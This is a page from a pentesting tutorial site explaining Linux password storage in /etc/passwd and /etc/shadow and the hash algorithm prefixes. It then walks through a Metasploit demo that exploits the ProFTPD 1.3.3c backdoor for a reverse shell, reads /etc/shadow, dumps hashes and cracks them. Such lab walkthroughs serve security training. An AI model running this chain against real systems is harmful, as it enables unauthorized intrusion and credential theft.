Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • The Hashes
  • Demo
  1. Flaws w/ Magical Frameworks
  2. Linux

Dumping Hashes

Linux supports multiple users, allowing them to access the system at the same time. While this is useful, it also introduces security risks since more user accounts mean more potential entry points for attackers.

All user account details are stored in the passwd file, located at: /etc/passwd

However, this file does not store user passwords, as it is readable by any user on the system. Instead, all encrypted passwords are stored in the shadow file, located at: /etc/shadow

The shadow file is only accessible by the root user, which is a crucial security feature. This restriction prevents other users from viewing or accessing the hashed passwords, keeping the system more secure.

The Hashes

The passwd file provides information about the hashing algorithm used for storing passwords and the password hash itself. This is useful because it allows us to identify the hashing method and assess its strength.

We can determine the hashing algorithm by checking the number inside the dollar signs ($) after the username. For example:

  • $1$ → MD5

  • $2a$ → Blowfish

  • $5$ → SHA-256

  • $6$ → SHA-512

By recognizing these identifiers, we can understand the security level of the stored passwords.

Demo

nmap -sV [TARGET IP]

msfconsole -q
setg RHOSTS [TARGET IP]
use exploit/unix/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set LHOST
exploit -z

session -u 1

cat /etc/shadow

search hashdump
use post/linux/gather/hashdump
set SESSION 1
exploit

use auxiliary/analyze/crack_linux
set SHA512 true
run

I begin by scanning the target system to identify running services and their versions, looking for any known vulnerabilities that I can exploit. Once I gather enough information, I launch Metasploit and configure my target settings. I then attempt to exploit a known backdoor vulnerability in ProFTPD 1.3.3c, which allows me to gain unauthorized access to the system through a reverse shell.

After successfully establishing a shell, I upgrade my session to Meterpreter, giving me more control over the compromised system. With elevated access, I navigate to the /etc/shadow file, which stores password hashes, confirming that I have root privileges. To extract more credentials, I use a hash-dumping module to collect all available password hashes from the system.

Once I have the hashes, I move on to the final step—attempting to crack them. I use an auxiliary module to analyze and crack Linux password hashes, focusing on those using the SHA-512 algorithm. If successful, this would allow me to access user accounts directly, further escalating control over the system. Through this process, I move from reconnaissance to full compromise, demonstrating how an unpatched vulnerability can lead to complete system takeover.

PreviousRSYNCNextPrivilege Escalation

Last updated 4 months ago

🖼️